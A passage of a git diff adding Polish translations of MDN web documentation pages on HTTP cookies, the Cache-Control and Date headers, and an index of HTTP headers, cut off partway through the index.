użytkowników o używaniu ciasteczek.</p> + +<p>Aby dowiedzieć się więcej, sprawdź <a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">artykuł na Wikipedii</a> oraz zdobądź informacje jak wygląda aktualne prawo w docelowym regionie.</p> + +<h3 id="Ciasteczka_zombie_i_Evercookies">Ciasteczka zombie i "Evercookies"</h3> + +<p>Bardziej radykalnym podejściem do ciasteczek są ciasteczka zombie lub "Evercookies", które po usunięciu są w stanie odtworzyć się na nowo. Zostały zaprojektowane tak, aby ciężko było usunąć je na zawsze. W celu zapewnienia tej funkcjonalności implementacje używają m.in. <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> i Flash Local Shared Objects.</p> + +<ul> + <li><a href="https://github.com/samyk/evercookie">Evercookie by Samy Kamkar</a></li> + <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">Zombie cookies on Wikipedia</a></li> +</ul> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>{{HTTPHeader("Set-Cookie")}}</li> + <li>{{HTTPHeader("Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> + <li>{{domxref("Navigator.cookieEnabled")}}</li> + <li><a href="/en-US/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li> + <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie specification: RFC 6265</a></li> + <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookie on Wikipedia</a></li> +</ul> diff --git a/files/pl/web/http/headers/cache-control/index.html b/files/pl/web/http/headers/cache-control/index.html new file mode 100644 index 0000000000..8ce8eb1f63 --- /dev/null +++ b/files/pl/web/http/headers/cache-control/index.html @@ -0,0 +1,171 @@ +--- +title: Cache-Control +slug: Web/HTTP/Headers/Cache-Control +translation_of: Web/HTTP/Headers/Cache-Control +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Cache-Control</code></strong> nagłówek jest stosowany do określania dyrektyw sterujących pamięcią podręczną w zapytaniu i odpowiedzi protokołu HTTP. Dyrektywy pamięci podręcznej są jednokierunkowe, co oznacza że dyrektywa użyta w zapytaniu klienta HTTP nie musi pojawić się w odpowiedzi serwera.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="Składnia">Składnia</h2> + +<p>Wielkość liter nie ma znaczeniu w określaniu dyrektyw. Dyrektywa może posiadać opcjonalny argument który może być podany jako token (słowo) lub string w cudzysłowiu. Możliwe jest podanie wielu dyrektyw przez oddzielenie ich przecinkiem.</p> + +<h3 id="Dyrektywy_zapytania">Dyrektywy zapytania</h3> + +<p>Standardowe dyrektywy nagłówka <code>Cache-Control</code> które mogą być użyte w zapytaniu klienta HTTP.</p> + +<pre class="syntaxbox">Cache-Control: max-age=<seconds> +Cache-Control: max-stale[=<seconds>] +Cache-Control: min-fresh=<seconds> +Cache-Control: no-cache +Cache-Control: no-store +Cache-Control: no-transform +Cache-Control: only-if-cached +</pre> + +<h3 id="Dyrektywy_odpowiedzi">Dyrektywy odpowiedzi</h3> + +<p>Standardowe dyrektywy nagłówka <code>Cache-Control</code> które mogą być użyte w odpowiedzi serwera HTTP.</p> + +<pre class="syntaxbox">Cache-Control: must-revalidate +Cache-Control: no-cache +Cache-Control: no-store +Cache-Control: no-transform +Cache-Control: public +Cache-Control: private +Cache-Control: proxy-revalidate +Cache-Control: max-age=<seconds> +Cache-Control: s-maxage=<seconds> +</pre> + +<h3 id="Extension_Cache-Control_directives">Extension <code>Cache-Control</code> directives</h3> + +<p>Extension <code>Cache-Control</code> directives are not part of the core HTTP caching standards document. Be sure to check the <a href="#Browser_compatibility">compatibility table</a> for their support.</p> + +<pre class="syntaxbox">Cache-Control: immutable +Cache-Control: stale-while-revalidate=<seconds> +Cache-Control: stale-if-error=<seconds> +</pre> + +<h2 id="Directives">Directives</h2> + +<h3 id="Cacheability">Cacheability</h3> + +<dl> + <dt><code>public</code></dt> + <dd>Indicates that the response may be cached by any cache.</dd> + <dt><code>private</code></dt> + <dd>Indicates that the response is intended for a single user and must not be stored by a shared cache. A private cache may store the response.</dd> + <dt><code>no-cache</code></dt> + <dd>Forces caches to submit the request to the origin server for validation before releasing a cached copy.</dd> + <dt><code>only-if-cached</code></dt> + <dd>Indicates to not retrieve new data. This being the case, the server wishes the client to obtain a response only once and then cache. From this moment the client should keep releasing a cached copy and avoid contacting the origin-server to see if a newer copy exists.</dd> +</dl> + +<h3 id="Expiration">Expiration</h3> + +<dl> + <dt><code>max-age=<seconds></code></dt> + <dd>Specifies the maximum amount of time a resource will be considered fresh. Contrary to <code>Expires</code>, this directive is relative to the time of the request.</dd> + <dt><code>s-maxage=<seconds></code></dt> + <dd>Overrides <code>max-age</code> or the <code>Expires</code> header, but it only applies to shared caches (e.g., proxies) and is ignored by a private cache.</dd> + <dt><code>max-stale[=<seconds>]</code></dt> + <dd>Indicates that the client is willing to accept a response that has exceeded its expiration time. Optionally, you can assign a value in seconds, indicating the time the response must not be expired by.</dd> + <dt><code>min-fresh=<seconds></code></dt> + <dd>Indicates that the client wants a response that will still be fresh for at least the specified number of seconds.</dd> + <dt><code>stale-while-revalidate=<seconds></code> {{experimental_inline}}</dt> + <dd>Indicates that the client is willing to accept a stale response while asynchronously checking in the background for a fresh one. The seconds value indicates for how long the client is willing to accept a stale response.</dd> + <dt><code>stale-if-error=<seconds></code> {{experimental_inline}}</dt> + <dd>Indicates that the client is willing to accept a stale response if the check for a fresh one fails. The seconds value indicates for how long the client is willing to accept the stale response after the initial expiration.</dd> +</dl> + +<h3 id="Revalidation_and_reloading">Revalidation and reloading</h3> + +<dl> + <dt><code>must-revalidate</code></dt> + <dd>The cache must verify the status of the stale resources before using it and expired ones should not be used.</dd> + <dt><code>proxy-revalidate</code></dt> + <dd>Same as <code>must-revalidate</code>, but it only applies to shared caches (e.g., proxies) and is ignored by a private cache.</dd> + <dt><code>immutable</code></dt> + <dd>Indicates that the response body will not change over time. The resource, if unexpired, is unchanged on the server and therefore the client should not send a conditional revalidation for it (e.g. <code>If-None-Match</code> or <code>If-Modified-Since</code>) to check for updates, even when the user explicitly refreshes the page. Clients that aren't aware of this extension must ignore them as per the HTTP specification. In Firefox, <code>immutable</code> is only honored on <code>https://</code> transactions. For more information, see also this <a href="http://bitsup.blogspot.de/2016/05/cache-control-immutable.html">blog post</a>.</dd> +</dl> + +<h3 id="Other">Other</h3> + +<dl> + <dt><code>no-store</code></dt> + <dd>The cache should not store anything about the client request or server response.</dd> + <dt><code>no-transform</code></dt> + <dd>No transformations or conversions should be made to the resource. The Content-Encoding, Content-Range, Content-Type headers must not be modified by a proxy. A non- transparent proxy might, for example, convert between image formats in order to save cache space or to reduce the amount of traffic on a slow link. The <code>no-transform</code> directive disallows this.</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<h3 id="Preventing_caching">Preventing caching</h3> + +<p>To turn off caching, you can send the following response header. In addition, see also the <code>Expires</code> and <code>Pragma</code> headers.</p> + +<pre class="brush: bash">Cache-Control: no-cache, no-store, must-revalidate +</pre> + +<h3 id="Caching_static_assets">Caching static assets</h3> + +<p>For the files in the application that will not change, you can usually add aggressive caching by sending the response header below. This includes static files that are served by the application such as images, CSS files and JavaScript files, for example. In addition, see also the <code>Expires</code> header.</p> + +<pre class="brush: bash">Cache-Control: public, max-age=31536000</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7234")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> + </tr> + <tr> + <td>{{RFC("5861")}}</td> + <td>HTTP Cache-Control Extensions for Stale Content</td> + </tr> + <tr> + <td>{{RFC("8246")}}</td> + <td>HTTP Immutable Responses</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Cache-Control")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Caching_FAQ">HTTP Caching FAQ</a></li> + <li>{{HTTPHeader("Age")}}</li> + <li>{{HTTPHeader("Expires")}}</li> + <li>{{HTTPHeader("Pragma")}}</li> +</ul> diff --git a/files/pl/web/http/headers/data/index.html b/files/pl/web/http/headers/data/index.html new file mode 100644 index 0000000000..f348b4e839 --- /dev/null +++ b/files/pl/web/http/headers/data/index.html @@ -0,0 +1,81 @@ +--- +title: Data +slug: Web/HTTP/Headers/Data +translation_of: Web/HTTP/Headers/Date +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Date</code></strong> jest to ogólny nagłówek HTTP zawierający datę i czas w jakiej wiadomość została stworzona.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">Date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT +</pre> + +<h2 id="Dyrektywy">Dyrektywy</h2> + +<dl> + <dt><day-name></dt> + <dd>One of "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", or "Sun" (case-sensitive).</dd> + <dt><day></dt> + <dd>2 digit day number, e.g. "04" or "23".</dd> + <dt><month></dt> + <dd>One of "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (case sensitive).</dd> + <dt><year></dt> + <dd>4 digit year number, e.g. "1990" or "2016".</dd> + <dt><hour></dt> + <dd>2 digit hour number, e.g. "09" or "23".</dd> + <dt><minute></dt> + <dd>2 digit minute number, e.g. "04" or "59".</dd> + <dt><second></dt> + <dd>2 digit second number, e.g. "04" or "59".</dd> + <dt>GMT</dt> + <dd> + <p>Greenwich Mean Time. HTTP dates are always expressed in GMT, never in local time.</p> + </dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<pre>Date: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "Date", "7.1.1.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_z_przeglądarką"><span class="short_text" id="result_box" lang="pl"><span>Zgodność z przeglądarką</span></span></h2> + +<p class="hidden">Tabela kompatybilności na tej stronie jest generowana z danych strukturalnych. Jeżeli chcesz pomóc w dostarczeniu danch otwórz link: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam zapytanie.</p> + +<p>{{Compat("http.headers.Date")}}</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{HTTPHeader("Age")}}</li> +</ul> diff --git a/files/pl/web/http/headers/index.html b/files/pl/web/http/headers/index.html new file mode 100644 index 0000000000..9c8850dc38 --- /dev/null +++ b/files/pl/web/http/headers/index.html @@ -0,0 +1,374 @@ +--- +title: HTTP headers +slug: Web/HTTP/Headers +tags: + - HTTP + - Headers + - NeedsTranslation + - Networking + - Reference + - TopicStub +translation_of: Web/HTTP/Headers +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP headers allow the client and the server to pass additional information with the request or the response. A request header consists of its case-insensitive name followed by a colon '<code>:</code>', then by its value (without line breaks). Leading white space before the value is ignored.</p> + +<p>Custom proprietary headers can be added using the 'X-' prefix, but this convention was deprecated in June 2012, because of the inconveniences it caused when non-standard fields became standard in <a href="https://tools.ietf.org/html/rfc6648">RFC 6648</a>; others are listed in an <a class="external" href="http://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a>, whose original content was defined in <a class="external" href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA also maintains a <a class="external" href="http://www.iana.org/assignments/message-headers/prov-headers.html">registry of proposed new HTTP message headers</a>.</p> + +<p>Headers can be grouped according to their contexts:</p> + +<ul> + <li>{{Glossary("General header")}}: Headers applying to both requests and responses but with no relation to the data eventually transmitted in the body.</li> + <li>{{Glossary("Request header")}}: Headers containing more information about the resource to be fetched or about the client itself.</li> + <li>{{Glossary("Response header")}}: Headers with additional information about the response, like its location or about the server itself (name and version etc.).</li> + <li>{{Glossary("Entity header")}}: Headers containing more information about the body of the entity, like its content length or its MIME-type.</li> +</ul> + +<p>Headers can also be grouped according to how proxies handle them:</p> + +<dl> + <dt><a id="e2e" name="e2e"></a>End-to-end headers</dt> + <dd>These headers must be transmitted to the final recipient of the message; that is, the server for a request or the client for a response. Intermediate proxies must retransmit end-to-end headers unmodified and caches must store them.</dd> + <dt><a id="hbh" name="hbh"></a>Hop-by-hop headers</dt> + <dd>These headers are meaningful only for a single transport-level connection and must not be retransmitted by proxies or cached. Such headers are: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }} and {{ httpheader("Upgrade") }}. Note that only hop-by-hop headers may be set using the {{ httpheader("Connection") }} general header.</dd> +</dl> + +<p>The following list summarizes HTTP headers by their usage category. For an alphabetical list, see the navigation on the left side.</p> + +<h2 id="Authentication">Authentication</h2> + +<dl> + <dt>{{HTTPHeader("WWW-Authenticate")}}</dt> + <dd>Defines the authentication method that should be used to gain access to a resource.</dd> + <dt>{{HTTPHeader("Authorization")}}</dt> + <dd>Contains the credentials to authenticate a user agent with a server.</dd> + <dt>{{HTTPHeader("Proxy-Authenticate")}}</dt> + <dd>Defines the authentication method that should be used to gain access to a resource behind a Proxy server.</dd> + <dt>{{HTTPHeader("Proxy-Authorization")}}</dt> + <dd>Contains the credentials to authenticate a user agent with a proxy server.</dd> +</dl> + +<h2 id="Caching">Caching</h2> + +<dl> + <dt>{{HTTPHeader("Age")}}</dt> + <dd>The time in seconds the object has been in a proxy cache.</dd> + <dt>{{HTTPHeader("Cache-Control")}}</dt> + <dd>Specifies directives for caching mechanisms in both requests and responses.</dd> + <dt>{{HTTPHeader("Expires")}}</dt> + <dd>The date/time after which the response is considered stale.</dd> + <dt>{{HTTPHeader("Pragma")}}</dt> + <dd>Implementation-specific header that may have various effects anywhere along the request-response chain. Used for backwards compatibility with HTTP/1.0 caches where the <code>Cache-Control</code> header is not yet present.</dd> + <dt>{{HTTPHeader("Warning")}}</dt> + <dd>A general warning field containing information about possible problems.</dd> +</dl> + +<h2 id="Client_hints">Client hints</h2> + +<dl> + <dt>{{HTTPHeader("Accept-CH")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Content-DPR")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("DPR")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Downlink")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Save-Data")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Viewport-Width")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Width")}}</dt> + <dd>...</dd> +</dl> + +<dl> + <dt> + <h2 id="Conditionals">Conditionals</h2> + </dt> + <dt>{{HTTPHeader("Last-Modified")}}</dt> + <dd>It is a validator, the last modification date of the resource, used to compare several versions of the same resource. It is less accurate than {{HTTPHeader("ETag")}}, but easier to calculate in some environments. Conditional requests using {{HTTPHeader("If-Modified-Since")}} and {{HTTPHeader("If-Unmodified-Since")}} use this value to change the behavior of the request.</dd> + <dt>{{HTTPHeader("ETag")}}</dt> + <dd>It is a validator, a unique string identifying the version of the resource. Conditional requests using {{HTTPHeader("If-Match")}} and {{HTTPHeader("If-None-Match")}} use this value to change the behavior of the request.</dd> + <dt>{{HTTPHeader("If-Match")}}</dt> + <dd>Makes the request conditional and applies the method only if the stored resource matches one of the given ETags.</dd> + <dt>{{HTTPHeader("If-None-Match")}}</dt> + <dd>Makes the request conditional and applies the method only if the stored resource doesn't match any of the given ETags. This is used to update caches (for safe requests), or to prevent to upload a new resource when one is already existing.</dd> + <dt>{{HTTPHeader("If-Modified-Since")}}</dt> + <dd>Makes the request conditional and expects the entity to be transmitted only if it has been modified after the given date. This is used to transmit data only when the cache is out of date.</dd> + <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt> + <dd>Makes the request conditional and expects the entity to be transmitted only if it has not been modified after the given date. This is used to ensure the coherence of a new fragment of a specific range with previous ones, or to implement an optimistic concurrency control system when modifying existing documents.</dd> +</dl> + +<h2 id="Connection_management">Connection management</h2> + +<dl> + <dt>{{HTTPHeader("Connection")}}</dt> + <dd>Controls whether the network connection stays open after the current transaction finishes.</dd> + <dt>{{HTTPHeader("Keep-Alive")}}</dt> + <dd>Controls how long a persistent connection should stay open.</dd> +</dl> + +<h2 id="Content_negotiation">Content negotiation</h2> + +<dl> + <dt>{{HTTPHeader("Accept")}}</dt> + <dd>Informs the server about the types of data that can be sent back. It is MIME-type.</dd> + <dt>{{HTTPHeader("Accept-Charset")}}</dt> + <dd>Informs the server about which character set the client is able to understand.</dd> + <dt>{{HTTPHeader("Accept-Encoding")}}</dt> + <dd>Informs the server about the encoding algorithm, usually a compression algorithm, that can be used on the resource sent back.</dd> + <dt>{{HTTPHeader("Accept-Language")}}</dt> + <dd>Informs the server about the language the server is expected to send back. This is a hint and is not necessarily under the full control of the user: the server should always pay attention not to override an explicit user choice (like selecting a language in a drop down list).</dd> +</dl> + +<dl> +</dl> + +<h2 id="Controls">Controls</h2> + +<dl> + <dt>{{HTTPHeader("Expect")}}</dt> + <dd>Indicates expectations that need to be fulfilled by the server in order to properly handle the request.</dd> + <dt>{{HTTPHeader("Max-Forwards")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="Cookies">Cookies</h2> + +<dl> + <dt>{{HTTPHeader("Cookie")}}</dt> + <dd>Contains stored <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> previously sent by the server with the {{HTTPHeader("Set-Cookie")}} header.</dd> + <dt>{{HTTPHeader("Set-Cookie")}}</dt> + <dd>Send cookies from the server to the user agent.</dd> + <dt>{{HTTPHeader("Cookie2")}} {{obsolete_inline}}</dt> + <dd>Used to contain an HTTP cookie, previously sent by the server with the {{HTTPHeader("Set-Cookie2")}} header, but has been obsoleted by the specification. Use {{HTTPHeader("Cookie")}} instead.</dd> + <dt>{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}</dt> + <dd>Used to send cookies from the server to the user agent, but has been obsoleted by the specification. Use {{HTTPHeader("Set-Cookie")}} instead.</dd> + <dt> + <h2 id="CORS">CORS</h2> + </dt> + <dt>{{HTTPHeader("Access-Control-Allow-Origin")}}</dt> + <dd>Indicates whether the response can be shared.</dd> + <dt>{{HTTPHeader("Access-Control-Allow-Credentials")}}</dt> + <dd>Indicates whether the response to the request can be exposed when the credentials flag is true.</dd> + <dt>{{HTTPHeader("Access-Control-Allow-Headers")}}</dt> + <dd>Used in response to a preflight request to indicate which HTTP headers can be used when making the actual request.</dd> + <dt>{{HTTPHeader("Access-Control-Allow-Methods")}}</dt> + <dd>Specifies the method or methods allowed when accessing the resource in response to a preflight request.</dd> + <dt>{{HTTPHeader("Access-Control-Expose-Headers")}}</dt> + <dd>Indicates which headers can be exposed as part of the response by listing their names.</dd> + <dt>{{HTTPHeader("Access-Control-Max-Age")}}</dt> + <dd>Indicates how long the results of a preflight request can be cached.</dd> + <dt>{{HTTPHeader("Access-Control-Request-Headers")}}</dt> + <dd>Used when issuing a preflight request to let the server know which HTTP headers will be used when the actual request is made.</dd> + <dt>{{HTTPHeader("Access-Control-Request-Method")}}</dt> + <dd>Used when issuing a preflight request to let the server know which <a href="/en-US/docs/Web/HTTP/Methods">HTTP method</a> will be used when the actual request is made.</dd> + <dt>{{HTTPHeader("Origin")}}</dt> + <dd>Indicates where a fetch originates from.</dd> + <dt>{{HTTPHeader("Timing-Allow-Origin")}}</dt> + <dd>Specifies origins that are allowed to see values of attributes retrieved via features of the <a href="/en-US/docs/Web/API/Resource_Timing_API">Resource Timing API</a>, which would otherwise be reported as zero due to cross-origin restrictions.</dd> +</dl> + +<h2 id="Do_Not_Track">Do Not Track</h2> + +<dl> + <dt>{{HTTPHeader("DNT")}}</dt> + <dd>Used for expressing the user's tracking preference.</dd> + <dt>{{HTTPHeader("Tk")}}</dt> + <dd>Indicates the tracking status that applied to the corresponding request.</dd> +</dl> + +<h2 id="Downloads">Downloads</h2> + +<dl> + <dt>{{HTTPHeader("Content-Disposition")}}</dt> + <dd>Is a response header if the resource transmitted should be displayed inline (default behavior when the header is not present), or it should be handled like a download and the browser should present a 'Save As' window.</dd> +</dl> + +<h2 id="Message_body_information">Message body information</h2> + +<dl> + <dt>{{HTTPHeader("Content-Length")}}</dt> + <dd>indicates the size of the entity-body, in decimal number of octets, sent to the recipient.</dd> + <dt>{{HTTPHeader("Content-Type")}}</dt> + <dd>Indicates the media type of the resource.</dd> + <dt>{{HTTPHeader("Content-Encoding")}}</dt> + <dd>Used to specify the compression algorithm.</dd> + <dt>{{HTTPHeader("Content-Language")}}</dt> + <dd>Describes the language(s) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language.</dd> + <dt>{{HTTPHeader("Content-Location")}}</dt> + <dd>Indicates an alternate location for the returned data.</dd> + <dt> + <h2 id="Proxies">Proxies</h2> + </dt> +</dl> + +<dl> + <dt>{{HTTPHeader("Forwarded")}}</dt> + <dd>Contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request.</dd> + <dt>{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}</dt> + <dd>Identifies the originating IP addresses of a client connecting to a web server through an HTTP proxy or a load balancer.</dd> + <dt>{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}</dt> + <dd>Identifies the original host requested that a client used to connect to your proxy or load balancer.</dd> + <dt>{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}</dt> + <dd>identifies the protocol (HTTP or HTTPS) that a client used to connect to your proxy or load balancer.</dd> + <dt>{{HTTPHeader("Via")}}</dt> + <dd>Added by proxies, both forward and reverse proxies, and can appear in the request headers and the response headers.</dd> +</dl> + +<h2 id="Redirects">Redirects</h2> + +<dl> + <dt>{{HTTPHeader("Location")}}</dt> + <dd>Indicates the URL to redirect a page to.</dd> +</dl> + +<h2 id="Request_context">Request context</h2> + +<dl> + <dt>{{HTTPHeader("From")}}</dt> + <dd>Contains an Internet email address for a human user who controls the requesting user agent.</dd> + <dt>{{HTTPHeader("Host")}}</dt> + <dd>Specifies the domain name of the server (for virtual hosting), and (optionally) the TCP port number on which the server is listening.</dd> + <dt>{{HTTPHeader("Referer")}}</dt> + <dd>The address of the previous web page from which a link to the currently requested page was followed.</dd> + <dt>{{HTTPHeader("Referrer-Policy")}}</dt> + <dd>Governs which referrer information sent in the {{HTTPHeader("Referer")}} header should be included with requests made.</dd> + <dt>{{HTTPHeader("User-Agent")}}</dt> + <dd>Contains a characteristic string that allows the network protocol peers to identify the application type, operating system, software vendor or software version of the requesting software user agent. See also the <a href="/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox user agent string reference</a>.</dd> +</dl> + +<h2 id="Response_context">Response context</h2> + +<dl> + <dt>{{HTTPHeader("Allow")}}</dt> + <dd>Lists the set of HTTP request methods support by a resource.</dd> + <dt>{{HTTPHeader("Server")}}</dt> + <dd>Contains information about the software used by the origin server to handle the request.</dd> +</dl> + +<h2 id="Range_requests">Range requests</h2> + +<dl> + <dt>{{HTTPHeader("Accept-Ranges")}}</dt> + <dd>Indicates if the server supports range requests and if so, in which unit the range can be expressed.</dd> + <dt>{{HTTPHeader("Range")}}</dt> + <dd>Indicates the part of a document that the server should return.</dd> + <dt>{{HTTPHeader("If-Range")}}</dt> + <dd>Creates a conditional range request that is only fulfilled if the given etag or date matches the remote resource. Used to prevent downloading two ranges from incompatible version of the resource.</dd> + <dt>{{HTTPHeader("Content-Range")}}</dt> + <dd>Indicates where in a full body message a partial message belongs.</dd> +</dl> + +<h2 id="Security">Security</h2> + +<dl> + <dt>{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})</dt> + <dd>Controls resources the user agent is allowed to load for a given page.</dd> + <dt>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</dt> + <dd>Allows web developers to experiment with policies by monitoring (but not enforcing) their effects. These violation reports consist of {{Glossary("JSON")}} documents sent via an HTTP <code>POST</code> request to the specified URI.</dd> + <dt>{{HTTPHeader("Expect-CT")}}</dt> + <dd>Allows sites to opt in to reporting and/or enforcement of Certificate Transparency requirements, which prevents the use of misissued certificates for that site from going unnoticed. When a site enables the Expect-CT header, they are requesting that Chrome check that any certificate for that site appears in public CT logs.</dd> + <dt>{{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}})</dt> + <dd>Associates a specific cryptographic public key with a certain web server to decrease the risk of {{Glossary("MITM")}} attacks with forged certificates.</dd> + <dt>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</dt> + <dd>Sends reports to the report-uri specified in the header and does still allow clients to connect to the server even if the pinning is violated.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})</dt> + <dd>Force communication using HTTPS instead of HTTP.</dd> + <dt>{{HTTPHeader("Upgrade-Insecure-Requests")}}</dt> + <dd>Sends a signal to the server expressing the client’s preference for an encrypted and authenticated response, and that it can successfully handle the {{CSP("upgrade-insecure-requests")}} directive.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("X-Content-Type-Options")}}</dt> + <dd>Disables MIME sniffing and forces browser to use the type given in {{HTTPHeader("Content-Type")}}.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("X-Frame-Options")}} (XFO)</dt> + <dd>Indicates whether a browser should be allowed to render a page in a {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} or {{HTMLElement("object")}}</dd> + <dt>{{HTTPHeader("X-XSS-Protection")}}</dt> + <dd>Enables cross-site scripting filtering.</dd> +</dl> + +<h2 id="Server-sent_events">Server-sent events</h2> + +<dl> + <dt>{{HTTPHeader("Ping-From")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Ping-To")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Last-Event-ID")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="Transfer_coding">Transfer coding</h2> + +<dl> + <dt>{{HTTPHeader("Transfer-Encoding")}}</dt> + <dd>Specifies the the form of encoding used to safely transfer the entity to the user.</dd> + <dt>{{HTTPHeader("TE")}}</dt> + <dd>Specifies the transfer encodings the user agent is willing to accept.</dd> + <dt>{{HTTPHeader("Trailer")}}</dt> + <dd>Allows the sender to include additional fields at the end of chunked message.</dd> +</dl> + +<h2 id="WebSockets">WebSockets</h2> + +<dl> + <dt>{{HTTPHeader("Sec-WebSocket-Key")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Extensions")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Accept")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Protocol")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Version")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="Other">Other</h2> + +<dl> + <dt>{{HTTPHeader("Date")}}</dt> + <dd>Contains the date and time at which the message was originated.</dd> + <dt>{{HTTPHeader("Expect-CT")}}</dt> + <dd>Allows sites to opt in to reporting and/or enforcement of Certificate Transparency requirements.</dd> + <dt>{{HTTPHeader("Large-Allocation")}}</dt> + <dd>Tells the browser that the page being loaded is going to want to perform a large allocation.</dd> + <dt>{{HTTPHeader("Link")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Retry-After")}}</dt> + <dd>Indicates how long the user agent should wait before making a follow-up request.</dd> + <dt>{{HTTPHeader("SourceMap")}}</dt> + <dd>Links generated code to a <a href="/en-US/docs/Tools/Debugger/How_to/Use_a_source_map">source map</a>.</dd> + <dt>{{HTTPHeader("Upgrade")}}</dt> + <dd>The relevant RFC document for the <a href="https://tools.ietf.org/html/rfc7230#section-6.7">Upgrade header field is RFC 7230, section 6.7</a>. The standard establishes rules for upgrading or changing to a different protocol on the current client, server, transport protocol connection. For example, this header standard allows a client to change from HTTP 1.1 to HTTP 2.0, assuming the server decides to acknowledge and implement the Upgrade header field. Neither party is required to accept the terms specified in the Upgrade header field. It can be used in both client and server headers. If the Upgrade header field is specified, then the sender MUST also send the Connection header field with the upgrade option specified. For details on the Connection header field <a href="https://tools.ietf.org/html/rfc7230#section-6.1">please see section 6.1 of the aforementioned RFC</a>.</dd> + <dt>{{HTTPHeader("Vary")}}</dt> + <dd>Determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.</dd> + <dt>{{HTTPHeader("X-DNS-Prefetch-Control")}}</dt> + <dd>Controls DNS prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as URLs for items referenced by the document, including images, CSS, JavaScript, and so forth.</dd> + <dt>{{HTTPHeader("X-Firefox-Spdy")}}</dt> + 